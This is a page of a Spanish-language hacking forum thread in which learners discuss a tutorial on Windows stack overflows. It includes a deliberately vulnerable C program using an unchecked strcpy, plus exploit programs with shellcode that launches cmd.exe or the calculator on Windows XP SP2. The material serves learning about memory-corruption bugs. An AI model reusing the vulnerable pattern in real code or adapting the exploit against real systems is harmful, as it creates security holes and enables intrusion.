elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 06:55  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  <-!-> Taller de Stack Overflows en Windows, por Rojodos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos  (Leído 45,362 veces)
Dark_Knight

Desconectado Desconectado

Mensajes: 98



Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #30 en: 29 Marzo 2007, 00:24 »

hola

tengo un problemacon el exploit.. cuando lo ejecuto me aparece algo asi....


AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLL▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë

que estoy haciendo mal...

y tengo una pregunta... cuando analizo los jmp de ntdll.dll me aparecen dos.. que hago... coloco los 2 jmp que me aparecen o solo coloco uno de los dos...

espero su respuesta.. gracias  ;D
En línea

El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #31 en: 26 Abril 2007, 14:54 »

No entiendo por que este array: char EvilBuffer[1024], es de 1024... no tendria q ser de 64 para que se produzca el overflow???
saludos
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #32 en: 26 Abril 2007, 17:50 »

Debe ser mayor que 64 para producirse el overflow.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #33 en: 26 Abril 2007, 19:52 »

Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64

saludos
En línea
_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #34 en: 26 Abril 2007, 22:48 »

Hola a todos, quería en principio felicitar a Rojodos por este magnífico tutorial de "Stack Overflows en Windows", me ha encantado.  ;)

Por si a alguien le resultara de ayuda posteo los códigos que adapté para mi Windows Xp SP2 Esp., compilados con Dev CPP.

Vuln1.c

Código:
#include <stdio.h>  // librería stdio.h, funciones básicas de Entrada/Salida
#include <string.h>

int main (int argc, char **argv){  // La función "principal" del programa

    char buffer[64]; //Declaramos un array con 64 bytes de espacio
    if (argc < 2){  // Si los argumentos son menores que 2...
        printf ("Introduzca un argumento al programa\n"); //Printeamos   
        return 0;  // y retornamos 0 a la función main, y el programa acaba
        }
    strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

    return 0;  // Devolvemos 0 a main, y el programa acaba.
}



exploit_vuln1.c

Código:
#include <stdio.h>
#include <stdlib.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }

Un salu2.
« Última modificación: 26 Abril 2007, 22:50 por _Xerks_ » En línea
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #35 en: 26 Abril 2007, 23:01 »

Tengo el mismo codigo que _Xerks_ y a mi no me funciona:
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <windows.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }
Uso winXp SP2
En línea
_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #36 en: 26 Abril 2007, 23:12 »

Hola Bochan, fíjate en esto...

Mi código:
Código:
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"

Tu código:
\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3"]

Ya no es el mismo código  ;)

Un salu2.
En línea
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #37 en: 26 Abril 2007, 23:16 »

Aunque lo cambie no me hace nada.... q compilador usas Dev-cpp?? Ya estoy deseperado porque lo ejecute y no hace nada de nada me tiene harto, llevo 5 dias con esto no veas lo q me esta costando

saludos
En línea
_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #38 en: 26 Abril 2007, 23:22 »

Hola de nuevo, si, uso Dev Cpp, sólo por descartar posibles errores chorras, me imagino q´tienes compilado el Vuln1.c, y lo debes tener en la misma carpeta donde tengas compilado el exploit_vuln1.c, de no ser así, si exploit_vuln1.exe no encuentra a vuln1.exe no funcionará.

Un saludo.
« Última modificación: 27 Abril 2007, 07:21 por _Xerks_ » En línea
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #39 en: 27 Abril 2007, 01:27 »

LoL tio era esooo!!!! tenia el vuln1.exe fuera de la carpeta de exploit_vul.exe
joder q pardillo toy echo como se nota que soy novato....

gracias por la ayuda
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #40 en: 27 Abril 2007, 01:29 »

Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64

saludos

Veamos, si tienes un vaso de 64 cc o lo que quieras... y le hechas 64cc de agua, pues esta lleno pero no se sale el agua porque cupo perfectamente, es lo que aguanta. Si le hechas 100cc de agua a un vaso que solamente puede contener 64cc pues se desborda, se produce un overflow. El overflow es poner mas de lo que aguanta. El buffer es de 64, si le pones de mas pues se desborda.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #41 en: 27 Abril 2007, 12:55 »

 Ok ya entendi todo es que me lie con los arrays de 64 y de 1024 jaja gracias por la ayuda
En línea
_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #42 en: 28 Abril 2007, 21:42 »

Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente.

exploit_vuln1_calc.c

Código:
#include <stdio.h>
#include <stdlib.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }

Un saludo.
En línea
Deka_10

Desconectado Desconectado

Mensajes: 196



Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #43 en: 20 Junio 2007, 17:40 »

la pagina se ha muerto, lo vuelves a subir?
En línea

Islam != Terrorism
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #44 en: 21 Junio 2007, 04:50 »

Usa esta:
https://foro.elhacker.net/index.php?action=dlattach;topic=57910.0;attach=673
En línea

Páginas: 1 2 [3] 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines